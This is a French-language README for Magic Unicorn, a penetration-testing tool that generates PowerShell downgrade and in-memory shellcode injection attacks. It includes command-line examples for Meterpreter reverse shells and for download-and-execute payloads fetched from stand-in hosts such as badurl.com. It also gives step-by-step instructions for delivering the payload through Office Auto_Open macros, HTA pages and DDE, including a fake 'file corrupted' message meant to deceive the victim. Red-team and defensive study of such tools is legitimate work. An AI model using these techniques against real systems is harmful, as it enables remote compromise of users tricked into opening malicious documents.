
Unicorn est un outil simple pour utiliser une attaque de rétrogradation PowerShell et injecter du shellcode directement en mémoire. Basé sur les attaques PowerShell de Matthew Graeber et la technique de contournement PowerShell présentée par David Kennedy (TrustedSec) et Josh Kelly à Defcon 18.
Écrit par : Dave Kennedy (@HackingDave) Site web : https://www.trustedsec.com
Magic Unicorn est un outil simple pour utiliser une attaque de rétrogradation PowerShell et injecter du shellcode directement en mémoire. Basé sur les attaques PowerShell de Matthew Graeber et la technique de contournement PowerShell présentée par David Kennedy (TrustedSec) et Josh Kelly à Defcon 18.
L'utilisation est simple, il suffit d'exécuter Magic Unicorn (assurez-vous que Metasploit est installé si vous utilisez les méthodes Metasploit et qu'il se trouve dans le bon chemin) et magic unicorn générera automatiquement une commande PowerShell que vous devrez simplement copier et coller dans une fenêtre de ligne de commande ou via un système de livraison de payload. Unicorn prend en charge votre propre shellcode, Cobalt Strike et Metasploit.
root@rel1k:~/Desktop# python unicorn.py
,/
//
,//
___ /| |//
`__/\_ --(/|___/-/
\|\_-\___ __-_`- /-/ \.
|\_-___,-\_____--/_)' ) \
\ -_ / __ \( `( __`\|
`\__| |\)\ ) /(/|
,._____., ',--//-| \ | ' /
/ __. \, / /,---| \ /
/ / _. \ \ `/`_/ _,' | |
| | ( ( \ | ,/\'__/'/ | |
| \ \`--, `_/_------______/ \( )/
| | \ \_. \, \___/\
| | \_ \ \ \
\ \ \_ \ \ / \
\ \ \._ \__ \_| | \
\ \___ \ \ | \
\__ \__ \ \_ | \ |
| \_____ \ ____ | |
| \ \__ ---' .__\ | | |
\ \__ --- / ) | \ /
\ \____/ / ()( \ `---_ /|
\__________/(,--__ \_________. | ./ |
| \ \ `---_\--, \ \_,./ |
| \ \_ ` \ /`---_______-\ \\ /
\ \.___,`| / \ \\ \
\ | \_ \| \ ( |: |
\ \ \ | / / | ;
\ \ \ \ ( `_' \ |
\. \ \. \ `__/ | |
\ \ \. \ | |
\ \ \ \ ( )
\ | \ | | |
| \ \ \ I `
( __; ( _; ('-_';
|___\ \___: \___:
aHR0cHM6Ly93d3cuYmluYXJ5ZGVmZW5zZS5jb20vd3AtY29udGVudC91cGxvYWRzLzIwMTcvMDUvS2VlcE1hdHRIYXBweS5qcGc=
-------------------- Magic Unicorn Attack Vector -----------------------------
Native x86 powershell injection attacks on any Windows platform.
Written by: Dave Kennedy at TrustedSec (https://www.trustedsec.com)
Twitter: @TrustedSec, @HackingDave
Credits: Matthew Graeber, Justin Elze, Chris Gates
Happy Magic Unicorns.
Usage: python unicorn.py payload reverse_ipaddr port <optional hta or macro, crt>
PS Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443
PS Down/Exec: python unicorn.py windows/download_exec url=http://badurl.com/payload.exe
Macro Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 macro
Macro Example CS: python unicorn.py <cobalt_strike_file.cs> cs macro
Macro Example Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode macro
HTA Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 hta
HTA Example CS: python unicorn.py <cobalt_strike_file.cs> cs hta
HTA Example Shellcode: python unicorn.py <path_to_shellcode.txt>: shellcode hta
DDE Example: python unicorn.py windows/meterpreter/reverse_https 192.168.1.5 443 dde
CRT Example: python unicorn.py <path_to_payload/exe_encode> crt
Custom PS1 Example: python unicorn.py <path to ps1 file>
Custom PS1 Example: python unicorn.py <path to ps1 file> macro 500
Cobalt Strike Example: python unicorn.py <cobalt_strike_file.cs> cs (export CS in C# format)
Custom Shellcode: python unicorn.py <path_to_shellcode.txt> shellcode (formatted 0x00)
Help Menu: python unicorn.py --help
Tout est désormais généré dans deux fichiers, powershell_attack.txt et unicorn.rc. Le fichier texte contient tout le code nécessaire pour injecter l'attaque PowerShell en mémoire. Notez que vous aurez besoin d'un emplacement prenant en charge l'injection de commandes à distance d'une manière ou d'une autre. Il peut s'agir souvent d'un document Excel/Word ou de commandes psexec dans Metasploit, SQLi, etc. Il y a tellement d'implications et de scénarios où vous pouvez utiliser cette attaque. Collez simplement la commande powershell_attack.txt dans n'importe quelle fenêtre d'invite de commande ou là où vous pouvez appeler l'exécutable PowerShell, et cela vous redonnera un shell. Cette attaque prend également en charge windows/download_exec comme méthode de payload au lieu des seuls payloads Meterpreter. Lorsque vous utilisez download and exec, mettez simplement python unicorn.py windows/download_exec url=https://www.thisisnotarealsite.com/payload.exe et le code PowerShell téléchargera le payload et l'exécutera.
Notez que vous devrez avoir un écouteur activé pour capturer l'attaque.
Pour l'attaque par macro, vous devrez aller dans Fichier, Propriétés, Rubans, et sélectionner Développeur. Une fois cela fait, vous aurez un onglet Développeur. Créez une nouvelle macro, appelez-la Auto_Open et collez le code généré dedans. Cela s'exécutera automatiquement. Notez qu'un message apparaîtra à l'utilisateur indiquant que le fichier est corrompu et fermera automatiquement le document Excel. C'EST UN COMPORTEMENT NORMAL ! Cela trompe la victime en lui faisant croire que le document Excel est corrompu. Vous devriez obtenir un shell via l'injection PowerShell après cela.
Si vous déployez cela sur des versions Office365/2016+ de Word, vous devez modifier la première ligne de la sortie de : Sub Auto_Open()
À : Sub AutoOpen()
Le nom de la macro elle-même doit également être "AutoOpen" au lieu du schéma de dénomination hérité "Auto_Open".
REMARQUE : LORS DE LA COPIE ET DU COLLAGE DANS EXCEL, SI DES ESPACES SUPPLÉMENTAIRES SONT AJOUTÉS, VOUS DEVEZ LES SUPPRIMER APRÈS CHAQUE SECTION DE CODE POWERSHELL SOUS LA VARIABLE "x" SINON UNE ERREUR DE SYNTAXE SE PRODUIRA !
L'attaque HTA générera automatiquement deux fichiers, le premier index.html qui indique au navigateur d'utiliser Launcher.hta qui contient le code d'injection PowerShell malveillant. Tous les fichiers sont exportés vers le dossier hta_access/ et il y aura trois fichiers principaux. Le premier est index.html, le deuxième Launcher.hta et le dernier, le fichier unicorn.rc. Vous pouvez exécuter msfconsole -r unicorn.rc pour lancer l'écouteur pour Metasploit.
Un utilisateur doit cliquer sur autoriser et accepter lors de l'utilisation de l'attaque HTA pour que l'injection PowerShell fonctionne correctement.